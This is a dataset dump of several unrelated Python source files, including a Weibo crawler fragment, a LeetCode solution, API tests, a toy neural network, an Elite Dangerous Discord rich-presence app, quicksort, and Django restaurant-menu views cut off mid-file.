__name__ == '__main__':\n with open(csvfilename, 'w', newline='',encoding='utf-8-sig') as f:\n writer = csv.DictWriter(f, fieldnames=['id', 'created_at','text'])\n writer.writeheader()\n\n for page in range(253,300): # 抓取前十页的数据\n json = get_single_page(page)\n if json is not None and json.get('ok') == True:\n results = parse_page(json)\n\n with open(csvfilename, 'a', newline='',encoding='utf-8-sig') as f:\n writer = csv.DictWriter(f, fieldnames=['id', 'created_at','text'])\n writer.writerows(results)\n else:\n print(\"break at page & json\",page,json)\n break\n","repo_name":"vikibaby/Weibo-web-crawler","sub_path":"weibo.py","file_name":"weibo.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35588306289","text":"from collections import Counter\n\n\nclass Solution:\n def equalFrequency(self, word: str) -> bool:\n if len(word) == len(set(word)): \n return True\n word = list(word)\n for i, char in enumerate(word):\n word.remove(char)\n if len(set(Counter(word).values())) == 1:\n return True\n else:\n word.insert(i, char)\n return False\n \nsolution = Solution().equalFrequency(\"cccaa\")\nprint(solution)\n","repo_name":"Kies8/leetcode-solutions","sub_path":"easy/2423.remove-letter-to-equalize-frequency.py","file_name":"2423.remove-letter-to-equalize-frequency.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"3080743118","text":"import requests\nimport pytest\nfrom test_APP.Common.Login_test import Login\n\n\nclass Test_search():\n\n # 下拉联想\n def test_jobAssociation(self):\n url = \"http://192.168.101.102/api/search/app/job/association?keyword=JAVA\"\n # header = {\n # \"token\": Login.Login_sms_test01()\n # }\n payload = {\n \"value\": \"java\"\n }\n res = requests.get(url=url,\n # headers=header,\n data=payload)\n print(res.json())\n code = res.json()['code']\n assert code == 0\n # print('√')\n # assert code != 0\n # print('×')\n\n # try:\n # assert code == 0\n # print(\"√\")\n # except:\n # assert code != 0\n # print(\"×\")\n\n def test_jobAssociation_applet(self):\n url = \"http://192.168.101.102/api/search/applet/job/association?keyword=java\"\n # payload = {\n # \"keyword\": \"java\"\n # }\n res = requests.get(url=url\n # , data=payload\n )\n print(res.json())\n code = res.json()['code']\n try:\n assert code == 0\n print(\"成功\")\n except:\n print(\"失败\")\n\n\n\nif __name__ == \"__main__\":\n Test_search().test_jobAssociation()\n Test_search().test_jobAssociation_applet()\n\n\n","repo_name":"zhaoyu01/Test_pythonProject","sub_path":"test_APP/Test_APP_C/search/test_iobAssociation.py","file_name":"test_iobAssociation.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"42706229275","text":"import random\n\nimport numpy as np\n\n\nclass Node:\n def __init__(self, value):\n self.value = value\n self.weight = random.randint(1, 10) / 10\n\n\nclass InputLayer:\n def __init__(self, values):\n self.nodes = []\n for value in values:\n self.nodes.append(Node(value))\n\n self.nodes = np.array(self.nodes)\n\n\nclass HiddenLayer:\n def __init__(self, size):\n self.nodes = []\n for _ in range(size):\n self.nodes.append(Node(0))\n\n self.nodes = np.array(self.nodes)\n\n\nclass NeuralNetwork_hidden:\n def __init__(self, inputs, biases, learning_rate):\n self.inputs = inputs\n self.biases = biases\n self.learning_rate = learning_rate\n self.stop = False\n\n def predict(self, input_data):\n return np.dot(input_data, self.weights) + self.biases\n\n def stop_test(self, correct_output, prediction, error_percentage):\n errors = np.abs((correct_output - prediction) / correct_output) * 100\n if np.all(errors < error_percentage):\n self.stop = True\n\n def train(self, input_data, desired_outputs, epochs, test_input, test_prediction, verbose=0, error_percentage=5):\n epoch_list = []\n biases_list = []\n weights_list = []\n\n for epoch in range(epochs):\n if self.stop:\n break\n\n epoch_list.append(epoch)\n\n if verbose == 1:\n print(f\"Epoch: {epoch}, prediction: {self.predict(test_input)}\")\n\n if verbose == 2 and (epoch % 10 == 0):\n print(f\"Epoch: {epoch}, prediction: {self.predict(test_input)}\")\n\n for i in range(len(input_data)):\n if self.stop:\n break\n\n prediction = self.predict(input_data[i])\n\n error = desired_outputs[i] - prediction\n\n self.weights += self.learning_rate * np.outer(input_data[i], error)\n self.biases += self.learning_rate * error\n\n biases_list.append(self.biases)\n weights_list.append(self.weights.copy()) # Store a copy of the weights\n\n self.stop_test(test_prediction, self.predict(test_input), error_percentage)\n\n final_prediction = self.predict(test_input)\n print(f\"Final Prediction: {final_prediction} vs {test_prediction}\")\n\n\ndef correct_output(input_data, multipliers, constant):\n desired_outputs = []\n for i in range(len(input_data)):\n desired_output = np.dot(input_data[i], multipliers) + constant\n desired_outputs.append(desired_output)\n\n return np.array(desired_outputs)\n\n\n\n# TODO I've undesrtand that I want to make smth unreal\n# Example usage\nnumber_of_learn_data = 15\nnumber_of_inputs = 2\nnumber_of_outputs = 1\ninput_data = np.array([[random.randint(0, 10) / 10 for __ in range(number_of_inputs)] for _ in range(number_of_learn_data)])\nprint(f\"Learn data:{input_data}\")\n\nmultipliers = [random.randint(1, 10) / 10 for _ in range(number_of_inputs)]\nprint(f\"Multipliers: {multipliers}\")\nconstant = random.randint(0, 3)\nprint(f\"Constant: {constant}\")\n\ndesired_outputs = correct_output(input_data, multipliers, constant)\n\nprint(f\"Desired outputs:{desired_outputs}\")\n\ntest_input = np.array([[random.randint(0, 10) / 10 for _ in range(number_of_inputs)]])\ntest_prediction = correct_output(test_input, multipliers, constant)\n\ninitial_weights = np.random.rand(input_data.shape[1], desired_outputs.shape[1])\ninitial_biases = np.random.rand(desired_outputs.shape[1])\nlearning_rate = 0.001\nepochs = 500\n\nnn = NeuralNetwork_n_n(initial_weights, initial_biases, learning_rate)\nnn.train(input_data, desired_outputs, epochs, test_input, test_prediction, verbose=2)\n","repo_name":"vialomur/Linear_Neural_Network","sub_path":"Neural_Network_n_in_n_out.py","file_name":"Neural_Network_n_in_n_out.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28330038069","text":"import calendar\nimport logging\nimport logging.config\nimport multiprocessing\nimport os\nimport subprocess\nimport sys\nimport time\nfrom multiprocessing import Pipe, Process\nfrom typing import Dict\n\nimport win32gui\nimport yaml\nfrom pypresence import Presence\n\nimport JournalFileApp\nimport TrayApp\n\nwith open(\"logging.yaml\", \"r\") as stream:\n try:\n logging_conf = yaml.safe_load(stream)\n except yaml.YAMLError as e:\n raise e\nlogging.config.dictConfig(logging_conf)\nlogger = logging.getLogger(\"BackgroundApp\")\n\n\ndef handle_exception(exc_type, exc_value, exc_traceback):\n # if issubclass(exc_type, KeyboardInterrupt):\n # sys.__excepthook__(exc_type, exc_value, exc_traceback)\n # return\n\n logger.error(\"Uncaught exception\", exc_info=(\n exc_type, exc_value, exc_traceback))\n\n\nsys.excepthook = handle_exception\n\n\ndef save_logging_conf(conf):\n with open(\"logging.yaml\", \"w\") as stream:\n try:\n stream.write(yaml.dump(conf))\n except yaml.YAMLError as e:\n logger.error(\"Could not write logging.yaml, %s\", e)\n\n\ndef open_settings(con):\n import SettingsApp # noqa # nopep8\n SettingsApp.SettingsApp(con).run()\n con.send(\"closed\")\n\n\ndef open_journal(con, journal_path):\n JournalFileApp.JournalFileApp(con, journal_path).read_loop()\n\n\nclass EventProcessing():\n location = \"Launcher\"\n game_mode = None\n cmdr = None\n power = None\n ship = None\n multicrew_size = None\n multicrew_mode = None\n time_elapsed = None\n shipnames = {\n \"sidewinder\": \"Sidewinder\",\n \"eagle\": \"Eagle\",\n \"hauler\": \"Hauler\",\n \"adder\": \"Adder\",\n \"empire_eagle\": \"Imperial Eagle\",\n \"viper\": \"Viper Mk III\",\n \"cobramkiii\": \"Cobra Mk III\",\n \"viper_mkiv\": \"Viper Mk IV\",\n \"diamondback\": \"Diamondback Scout\",\n \"cobramkiv\": \"Cobra Mk IV\",\n \"type6\": \"Type-6 Transporter\",\n \"dolphin\": \"Dolphin\",\n \"diamondbackxl\": \"Diamondback Explorer\",\n \"empire_courier\": \"Imperial Courier\",\n \"independant_trader\": \"Keelback\",\n \"asp_scout\": \"Asp Scout\",\n \"vulture\": \"Vulture\",\n \"asp\": \"Asp Explorer\",\n \"federation_dropship\": \"Federal Dropship\",\n \"type7\": \"Type-7 Transporter\",\n \"typex\": \"Alliance Chieftain\",\n \"federation_dropship_mkii\": \"Federal Assault Ship\",\n \"empire_trader\": \"Imperial Clipper\",\n \"typex_2\": \"Alliance Crusader\",\n \"typeex_3\": \"Alliance Challenger\",\n \"federation_gunship\": \"Federal Gunship\",\n \"krait_light\": \"Krait Phantom\",\n \"krait_mkii\": \"Krait Mk II\",\n \"orca\": \"Orca\",\n \"ferdelance\": \"Fer-de-Lance\",\n \"mamba\": \"Mamba\",\n \"python\": \"Python\",\n \"type9\": \"Type-9 Heavy\",\n \"belugaliner\": \"Beluga Liner\",\n \"type9_military\": \"Type-10 Defender\",\n \"anaconda\": \"Anaconda\",\n \"federation_corvette\": \"Federal Corvette\",\n \"cutter\": \"Imperial Cutter\",\n \"testbuggy\": \"SRV\",\n \"utilitysuit_class1\": \"Maverick Suit\",\n \"explorationsuit_class1\": \"Artemis Suit\",\n \"tacticalsuit_class1\": \"Dominator Suit\",\n }\n\n def ev(self, e):\n ev = e[\"event\"]\n if ev == \"GameShutdown\":\n return False\n elif ev == \"Launcher\":\n self.location = \"Launcher\"\n self.ship = \"elite-dangerous-logo-2018\"\n self.time_elapsed = time.strptime(\n e[\"timestamp\"], \"%Y-%m-%dT%H:%M:%SZ\")\n self.game_mode = None\n elif ev == \"GameStarted\" or ev == \"Music\" and e[\"MusicTrack\"] == \"MainMenu\":\n self.time_elapsed = time.strptime(\n e[\"timestamp\"], \"%Y-%m-%dT%H:%M:%SZ\")\n self.location = \"Mainmenu\"\n self.ship = \"elite-dangerous-logo-2018\"\n self.game_mode = None\n elif ev == \"LoadGame\" and e.get(\"GameMode\", None):\n self.cmdr = e[\"Commander\"]\n self.game_mode = e[\"GameMode\"]\n self.ship = e[\"Ship\"].lower()\n elif ev == \"Location\" or ev == \"SupercruiseExit\":\n if \"Docked\" in e:\n if e[\"Docked\"]:\n self.location = f'{e[\"StarSystem\"]} @ {e[\"StationName\"]}'\n if \"DistFromStarLs\" in e:\n self.location += f' ({e[\"DistFromStarLS\"]} ls)'\n elif \"Body\" in e:\n if e[\"BodyType\"] == \"Station\":\n self.location = f'{e[\"StarSystem\"]} @ {e[\"Body\"]}'\n else:\n self.location = f'{e[\"Body\"]} - Normal Space'\n else:\n self.location = f'{e[\"StarSystem\"]} - Normal Space'\n elif ev == \"ApproachBody\":\n self.location = f'{e[\"Body\"]} - Supercruise'\n elif ev == \"Docked\":\n self.location = f'{e[\"StarSystem\"]} @ {e[\"StationName\"]} ({e[\"DistFromStarLS\"]} ls)'\n elif ev == \"Undocked\":\n self.location = self.location.replace(\"- Landed\", \"\")\n elif ev == \"LeaveBody\" or ev == \"SupercruiseEntry\" or ev == \"FSDJump\":\n self.location = f'{e[\"StarSystem\"]} - Supercruise'\n elif ev == \"Outfitting\":\n self.location = f'{e[\"StarSystem\"]} @ {e[\"StationName\"]} outfitting ship'\n elif ev == \"Shipyard\":\n self.location = f'{e[\"StarSystem\"]} @ {e[\"StationName\"]} in the shipyard'\n elif ev == \"ShipyardNew\" or ev == \"ShipyardSwap\":\n self.ship = e[\"ShipType\"].lower()\n elif ev == \"Powerplay\" or ev == \"PowerplayJoin\":\n self.power = e[\"Power\"]\n elif ev == \"PowerplayDefect\":\n self.power = e[\"ToPower\"]\n elif ev == \"PowerplayLeave\":\n self.power = None\n elif ev == \"CrewMemberJoins\":\n self.multicrew_mode = \"Multicrew\"\n self.multicrew_size += 1\n elif ev == \"CrewMemberQuits\":\n self.multicrew_size -= 1\n elif ev == \"EndCrewSession\":\n self.multicrew_mode = None\n self.multicrew_size = None\n elif ev == \"KickCrewMember\":\n self.multicrew_size -= 1\n elif ev == \"JoinACrew\":\n self.multicrew_mode = \"Multicrew\"\n elif ev == \"QuitACrew\":\n self.multicrew_mode = None\n elif ev == \"WingAdd\" or ev == \"WingJoin\":\n self.multicrew_mode = \"In a Wing\"\n elif ev == \"WingLeave\":\n self.multicrew_mode = None\n elif ev == \"LaunchSRV\":\n if e[\"PlayerControlled\"]:\n self.ship = \"testbuggy\"\n self.location = \"- \".join(self.location.split(\"-\")[:-1]) + \"- SRV\"\n elif ev == \"DockSRV\":\n self.location = \"- \".join(self.location.split(\"-\")[:-1]) + \"- Landed\"\n elif ev == \"Touchdown\":\n if e[\"PlayerControlled\"]:\n self.location = \"- \".join(self.location.split(\"-\")[:-1]) + \"- Landed\"\n elif ev == \"Liftoff\":\n if e[\"PlayerControlled\"]:\n self.location = \"- \".join(self.location.split(\"-\")[:-1]) + \"- Normal Space\"\n elif ev == \"Loadout\":\n self.ship = e[\"Ship\"].lower()\n elif ev == \"SuitLoadout\":\n self.ship = e[\"SuitName\"]\n if \"-\" in self.location:\n self.location = \"- \".join(self.location.split(\"-\")[:-1]) + \"- On foot\"\n elif ev == \"Embark\":\n if e[\"SRV\"]:\n self.ship = \"testbuggy\"\n self.location = \"- \".join(self.location.split(\"-\")[:-1]) + \"- SRV\"\n else:\n self.location = \"- \".join(self.location.split(\"-\")[:-1]) + \"- Landed\"\n elif ev == \"Music\" and e[\"MusicTrack\"] == \"CQCMenu\":\n self.location = \"CQC\"\n\n return True\n\n def rpc(self, conf):\n state = None\n details = None\n start: time.struct_time = None\n large_text = None\n large_image = \"elite-dangerous-logo-2018\"\n party_size = None\n\n if conf[\"gamemode\"] and self.game_mode:\n state = self.game_mode\n if conf[\"multicrew_mode\"] and self.multicrew_mode:\n state = state + f\" | {self.multicrew_mode}\" if state else self.multicrew_mode\n if conf[\"cmdr\"] and self.cmdr:\n large_text = f\"CMDR {self.cmdr}\"\n if conf[\"ship_text\"] and self.ship in self.shipnames:\n large_text = large_text + f\" | {self.shipnames[self.ship]}\" if large_text else self.shipnames[self.ship]\n if conf[\"power\"] and self.power:\n large_text = large_text + f\" | {self.power}\" if large_text else self.power\n if conf[\"time_elapsed\"] and self.time_elapsed:\n start = str(calendar.timegm(self.time_elapsed))\n if conf[\"location\"] and self.location:\n details = self.location\n if conf[\"ship_icon\"] and self.ship:\n large_image = self.ship\n if conf[\"multicrew_size\"] and self.multicrew_size:\n party_size = self.multicrew_size\n\n return state, details, start, large_text, large_image, party_size\n\n\nclass BackgroundApp():\n open_settings: bool = False\n config: Dict = {\n \"general\": {\n \"auto_tray\": False,\n \"journal_path\": os.path.join(os.environ[\"USERPROFILE\"], \"Saved Games\\\\Frontier Developments\\\\Elite Dangerous\"),\n \"log_level\": \"WARNING\",\n },\n \"rich_presence\": {\n \"cmdr\": True,\n \"power\": True,\n \"location\": True,\n \"gamemode\": True,\n \"multicrew_mode\": True,\n \"multicrew_size\": True,\n \"time_elapsed\": True,\n \"ship_icon\": True,\n \"ship_text\": True,\n },\n \"elite_dangerous\": {\n \"path\": \"\",\n \"arguments\": \"\",\n \"auto_launch\": False,\n }\n }\n\n def __init__(self) -> None:\n self.load_config()\n self.ev = EventProcessing()\n logger.info(\"Running Elite Dangerous Rich Presence V4.7\")\n\n def load_config(self):\n if not os.path.isfile(\"settings.yaml\"):\n with open(\"settings.yaml\", \"w\") as stream:\n try:\n stream.write(yaml.dump(self.config))\n except yaml.YAMLError as e:\n logger.exception(\"Could not write settings.yaml, %s\", e)\n raise e\n with open(\"settings.yaml\", \"r\") as stream:\n try:\n data = yaml.safe_load(stream)\n self.config = data\n except yaml.YAMLError as e:\n logger.exception(\"Could not load settings.yaml, %s\", e)\n raise e\n logging_conf[\"root\"][\"level\"] = self.config[\"general\"][\"log_level\"]\n logging.getLogger().setLevel(self.config[\"general\"][\"log_level\"])\n save_logging_conf(logging_conf)\n\n def event_processing(self, event):\n game = self.ev.ev(event)\n if not game:\n return game\n state, details, start, large_text, large_image, party_size = self.ev.rpc(\n self.config[\"rich_presence\"])\n self.rpc.update(state=state, details=details, start=start,\n large_text=large_text, large_image=large_image, party_size=party_size)\n return game\n\n def open_settings_call(self):\n if self.open_settings:\n self.settings_parent_con.send(\"restore\")\n else:\n self.open_settings = True\n\n def launch_ed(self):\n if JournalFileApp.getLauncher() or JournalFileApp.getGame():\n logger.info(\"Elite already running\")\n return\n if self.config[\"elite_dangerous\"][\"path\"].endswith(\".exe\"):\n logger.debug(\"Lauch executable: %s with arguments: %s\",\n self.config[\"elite_dangerous\"][\"path\"], self.config[\"elite_dangerous\"][\"arguments\"])\n try:\n game = self.config[\"elite_dangerous\"][\"path\"] + \\\n \" \" + self.config[\"elite_dangerous\"][\"arguments\"]\n subprocess.Popen(game)\n logger.debug(\n \"Launched executable, now waiting for Elite Launcher\")\n except Exception as e:\n logger.error(\"Unable to launch executable, %s\", e)\n else:\n logger.debug(\"Lauch: %s without arguments\",\n self.config[\"elite_dangerous\"][\"path\"])\n try:\n os.system(f'\"{self.config[\"elite_dangerous\"][\"path\"]}\"')\n logger.debug(\n \"Launched, now waiting for Elite Launcher\")\n except Exception as e:\n logger.error(\"Unable to launch executable, %s\", e)\n code = 0\n while not JournalFileApp.getLauncher() and code == 0:\n code = win32gui.PumpWaitingMessages()\n time.sleep(0.1)\n logger.debug(\"Elite Launcher running, continuing\")\n\n def run(self):\n TrayApp.TrayApp(self.open_settings_call,\n name=\"Elite Dangerous Rich Presence\", icon=\"elite-dangerous-clean.ico\")\n\n logger.debug(\"Starting Rich Presence\")\n self.rpc = Presence(535809971867222036)\n self.rpc.connect()\n\n # elite dangerous auto launch\n if self.config[\"elite_dangerous\"][\"auto_launch\"] and os.path.exists(self.config[\"elite_dangerous\"][\"path\"]):\n self.launch_ed()\n\n logger.debug(\"Preparing Tray Application\")\n journal_parent_con, journal_child_con = Pipe()\n journal_app = Process(target=open_journal, args=(\n journal_child_con, self.config[\"general\"][\"journal_path\"]))\n journal_app.start()\n logger.debug(\"Tray Application stated, continuing\")\n\n logger.debug(\"Preparing Settings Window\")\n self.settings_parent_con, settings_child_con = Pipe()\n app_settings = Process(target=open_settings,\n args=(settings_child_con,))\n\n if not self.config[\"general\"][\"auto_tray\"]:\n app_settings.start()\n logger.debug(\"Prepared Settings Window\")\n\n code = 0\n game = True\n logger.info(\"Entering main loop\")\n while code == 0 and game:\n code = win32gui.PumpWaitingMessages()\n\n if self.open_settings and not app_settings.is_alive():\n logger.debug(\"Opening Settings\")\n app_settings.start()\n\n if self.settings_parent_con.poll():\n msg = self.settings_parent_con.recv()\n if msg == \"closed\":\n app_settings = Process(\n target=open_settings, args=(settings_child_con,))\n self.open_settings = False\n elif msg == \"changed_settings\":\n logger.debug(\"Config changed, reloading\")\n self.load_config()\n\n if journal_parent_con.poll():\n msg = journal_parent_con.recv()\n game = self.event_processing(msg)\n\n time.sleep(0.1)\n\n self.settings_parent_con.send(\"closed\")\n journal_parent_con.send(\"closed\")\n\n\nif __name__ == '__main__':\n multiprocessing.freeze_support()\n BackgroundApp().run()\n","repo_name":"alex-f-k/Elite-Dangerous-Rich-Presence","sub_path":"BackgroundApp.py","file_name":"BackgroundApp.py","file_ext":"py","file_size_in_byte":15026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"70549542620","text":"'''\n分治法\n快速排序\nO(n*log(n)) 到 O(n^2), 与划分的k取值有关\n可以加入随机取k的方法\n'''\n\ndef partition(L, left, right):\n i = left + 1\n j = right\n # 基准元素\n anchor = L[left]\n while i <= j:\n while i <= right and L[i] <= anchor:\n i += 1\n while L[j] > anchor:\n j -= 1\n if i < j:\n L[i], L[j] = L[j], L[i]\n i += 1\n j -= 1\n\n L[left], L[j] = L[j], L[left]\n return j\n\ndef quickSort(L, left, right):\n if right > left:\n k = partition(L, left, right)\n quickSort(L, left, k-1)\n quickSort(L, k+1, right)\n\n\nL = [49, 38, 65, 97, 76, 13, 27]\nquickSort(L, 0, len(L) -1)\n\nprint(L)","repo_name":"huangyuzhen/algorithm_python","sub_path":"3.7_a.py","file_name":"3.7_a.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"23755343370","text":"# -*- encoding: utf-8 -*-\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.staticfiles.templatetags.staticfiles import static\n\nfrom django.core import serializers\n\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.db.models import Max\n\nfrom infa_web.parameters import ManageParameters\nfrom infa_web.apps.restaurante_menus.models import *\nfrom infa_web.apps.base.views import AjaxableResponseMixin\n\nfrom infa_web.apps.restaurante_menus.forms import *\nfrom infa_web.apps.articulos.forms import *\n\nfrom infa_web.apps.base.constantes import *\n\n\nfrom django.http import HttpResponse, JsonResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nimport json\nimport decimal\nfrom infa_web.custom.generic_views import CustomListView, CustomCreateView, CustomUpdateView\n\nfrom infa_web.apps.restaurante_menus.fun_crud.dishes import DishDetailCreate, DishDetailUpdate, DishDetailRemove, GetDishDetail\nfrom infa_web.apps.restaurante_menus.fun_crud.menus import MenuDetailCreate, MenuDetailUpdate, MenuDetailRemove, GetMenuDetail\n\n# ingredients #\nclass IngredientsList(CustomListView):\n\tmodel = Ingredientes\n\ttemplate_name = \"ingredientes/list-ingredients.html\"\n\nclass IngredientCreate(AjaxableResponseMixin,CustomCreateView):\n\tmodel = Ingredientes\n\ttemplate_name = \"ingredientes/ingredient.html\"\n\tform_class = IngredientForm\n\tsuccess_url=reverse_lazy(\"list-ingredients\")\n\tsuccess_message = \"Ingrediente creado.\"\n\n\tdef get_context_data(self, **kwargs):\n\t\tcontext = super(IngredientCreate, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Crear Ingrediente\"\n\t\tcontext['mode_view'] = 'create'\n\t\tcontext['url'] = reverse_lazy('add-ingredient')\n\n\t\tcontext['url_foto'] = static(DEFAULT_IMAGE_ARTICLE)\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\ttypeInventory = manageParameters.get_param_value(\"type_costing_and_stock\")\n\t\tcontext['typeInventory'] = typeInventory\n\n\t\treturn context\n\n\tdef post(self, request, *args, **kwargs):\n\t\tmutable_data = request.POST.copy()\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\tminCodeIngredient = manageParameters.get_param_value(\"min_code_ingredients\")\n\n\t\tmaxCingre = Ingredientes.objects.using(request.db).aggregate(Max('cingre'))\n\t\tif maxCingre[\"cingre__max\"]:\n\t\t\tcingre = maxCingre[\"cingre__max\"] + 1\n\t\telse:\n\t\t\tcingre = minCodeIngredient\n\n\t\tmutable_data[\"cingre\"] = cingre\n\n\t\trequest.POST = mutable_data\n\n\t\treturn super(IngredientCreate, self).post(request, *args, **kwargs)\n\nclass IngredientUpdate(AjaxableResponseMixin,CustomUpdateView):\n\tmodel = Ingredientes\n\ttemplate_name = \"ingredientes/ingredient.html\"\n\tsuccess_url=reverse_lazy(\"add-ingredient\")\n\tform_class = IngredientForm\n\n\tdef get_context_data(self, **kwargs):\n\t\tcontext = super(IngredientUpdate, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Editar Ingrediente\"\n\t\tcontext['mode_view'] = 'edit'\n\t\tcontext['current_pk'] = self.kwargs[\"pk\"]\n\t\tcontext['url'] = reverse_lazy('edit-ingredient',kwargs={'pk': self.kwargs[\"pk\"]},)\n\n\t\t#current_article = Ingredientes.objects.using(self.request.db).get(pk=self.kwargs[\"pk\"])\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\tminCodeArlos = manageParameters.get_param_value(\"min_code_ingredients\")\n\t\ttypeInventory = manageParameters.get_param_value(\"type_costing_and_stock\")\n\t\tcontext['typeInventory'] = typeInventory\n\n\t\treturn context\n\ndef Ingredients_list(request):\n\tdata_arlo = {}\n\tdata_arlo['arlo'] = {}\n\torderBy = request.GET.get('orderBy')\n\tingredientes = Ingredientes.objects.using(request.db).all()\n\tif request.GET.get('buscarPor'):\n\t\tingredientes = ingredientes.filter(ningre__icontains = request.GET.get('buscarPor'))\n\telse:\n\t\tingredientes\n\tarlo = Paginator(ingredientes.order_by(orderBy), 10)\n\tpage = request.GET.get('page')\n\tarlo = arlo.page(page)\n\tif len(arlo.object_list) < 10:\n\t\tdata_arlo['response'] = 0\n\telse:\n\t\tdata_arlo['response'] = 1\n\n\n\n\n\tfor queryset in arlo:\n\t\tdata_arlo['arlo'][queryset.cingre] = {\n\t\t\t'cingre' : queryset.cingre,\n\t\t\t'ningre' : queryset.ningre,\n\t\t\t'canti' : str(queryset.canti).replace(\",\", \".\"),\n\t\t\t'vcosto' : str(queryset.vcosto).replace(\",\", \".\"),\n\t\t\t'cesdo' : str(queryset.cesdo.nesdo)\n\t\t}\n\treturn HttpResponse(json.dumps(data_arlo), content_type=\"application/json\")\n# ingredients #\n\n# dish #\nclass DishesList(CustomListView):\n\tmodel = Platos\n\ttemplate_name = \"platos/list-dishes.html\"\n\tform_class = DishForm\n\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(DishesList, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Listar Platos\"\n\t\treturn context\n\nclass DishCreate(AjaxableResponseMixin,CustomCreateView):\n\tmodel = Platos\n\ttemplate_name = \"platos/dish.html\"\n\tform_class = DishForm\n\tsuccess_url=reverse_lazy(\"list-dishes\")\n\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(DishCreate, self).get_context_data(**kwargs)\n\n\t\tcontext['title'] = \"Crear Plato\"\n\t\tform_platosdeta = DishDetailForm(self.request.db)\n\t\tcontext['form_platosdeta'] = form_platosdeta\n\n\t\tcontext['mode_view'] = 'create'\n\t\tcontext['url'] = reverse_lazy('add-dish')\n\t\tcontext['url_foto'] = static(DEFAULT_IMAGE_DISHES)\n\n\t\treturn context\n\n\tdef post(self, request, *args, **kwargs):\n\t\tmutable_data = request.POST.copy()\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\tminCodeDish = manageParameters.get_param_value(\"min_code_dish\")\n\n\t\tmaxCplato = Platos.objects.using(request.db).aggregate(Max('cplato'))\n\t\tif maxCplato[\"cplato__max\"]:\n\t\t\tcplato = maxCplato[\"cplato__max\"] + 1\n\t\telse:\n\t\t\tcplato = minCodeDish\n\n\t\tmutable_data[\"cplato\"] = cplato\n\n\t\trequest.POST = mutable_data\n\n\t\treturn super(DishCreate, self).post(request, *args, **kwargs)\n\nclass DishUpdate(AjaxableResponseMixin,CustomUpdateView):\n\tmodel = Platos\n\ttemplate_name = \"platos/dish.html\"\n\tform_class = DishForm\n\tsuccess_url=reverse_lazy(\"list-dishes\")\n\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(DishUpdate, self).get_context_data(**kwargs)\n\n\t\tcontext['title'] = \"Editar Plato\"\n\t\tform_platosdeta = DishDetailForm(self.request.db)\n\t\tcontext['form_platosdeta'] = form_platosdeta\n\n\t\tplato = Platos.objects.using(self.request.db).get(pk=self.kwargs[\"pk\"])\n\n\t\tcontext['url_foto'] = plato.foto.url\n\n\t\tcontext['mode_view'] = 'edit'\n\t\tcontext['current_pk'] = self.kwargs[\"pk\"]\n\t\tcontext['url'] = reverse_lazy('edit-dish',kwargs={'pk': self.kwargs[\"pk\"]},)\n\n\t\treturn context\n\n@csrf_exempt\ndef DishDetailCRUD(request):\n\tdata = json.loads(request.body)\n\tif ( data[\"action\"] == \"create\" ):\n\t\tresponse = DishDetailCreate(data[\"data\"].iteritems(),request.db)\n\telif ( data[\"action\"] == \"edit\" ):\n\t\tresponse = DishDetailUpdate(data[\"data\"].iteritems(),request.db)\n\telse:\n\t\tresponse = DishDetailRemove(data[\"data\"].iteritems(),request.db)\n\n\treturn HttpResponse(json.dumps(response), content_type=\"application/json\")\n# dish #\n\n# menu #\n\"\"\"\nclass MenusList(CustomListView):\n\tmodel = Menus\n\ttemplate_name = \"menus/list-menus.html\"\n\tform_class = MenuForm\n\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(MenusList, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Listar Menu\"\n\t\treturn context\n\nclass MenuCreate(AjaxableResponseMixin,CustomCreateView):\n\tmodel = Menus\n\ttemplate_name = \"menus/menu.html\"\n\tform_class = MenuForm\n\tsuccess_url=reverse_lazy(\"list-menus\")\n\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(MenuCreate, self).get_context_data(**kwargs)\n\n\t\tcontext['title'] = \"Crear Menu\"\n\t\tform_menusdeta = MenuDetailForm(self.request.db)\n\t\tcontext['form_menusdeta'] = form_menusdeta\n\n\t\tcontext['mode_view'] = 'create'\n\t\tcontext['url'] = reverse_lazy('add-menu')\n\t\tcontext['url_foto'] = static(DEFAULT_IMAGE_MENUS)\n\n\t\treturn context\n\n\tdef post(self, request, *args, **kwargs):\n\t\tmutable_data = request.POST.copy()\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\tminCodeMenu = manageParameters.get_param_value(\"min_code_menu\")\n\n\t\tmaxCmenu = Menus.objects.using(request.db).aggregate(Max('cmenu'))\n\t\tif maxCmenu[\"cmenu__max\"]:\n\t\t\tcmenu = maxCmenu[\"cmenu__max\"] + 1\n\t\telse:\n\t\t\tcmenu = minCodeMenu\n\n\t\tmutable_data[\"cmenu\"] = cmenu\n\n\t\trequest.POST = mutable_data\n\n\t\treturn super(MenuCreate, self).post(request, *args, **kwargs)\n\nclass MenuUpdate(AjaxableResponseMixin,CustomUpdateView):\n\tmodel = Menus\n\ttemplate_name = \"menus/menu.html\"\n\tform_class = 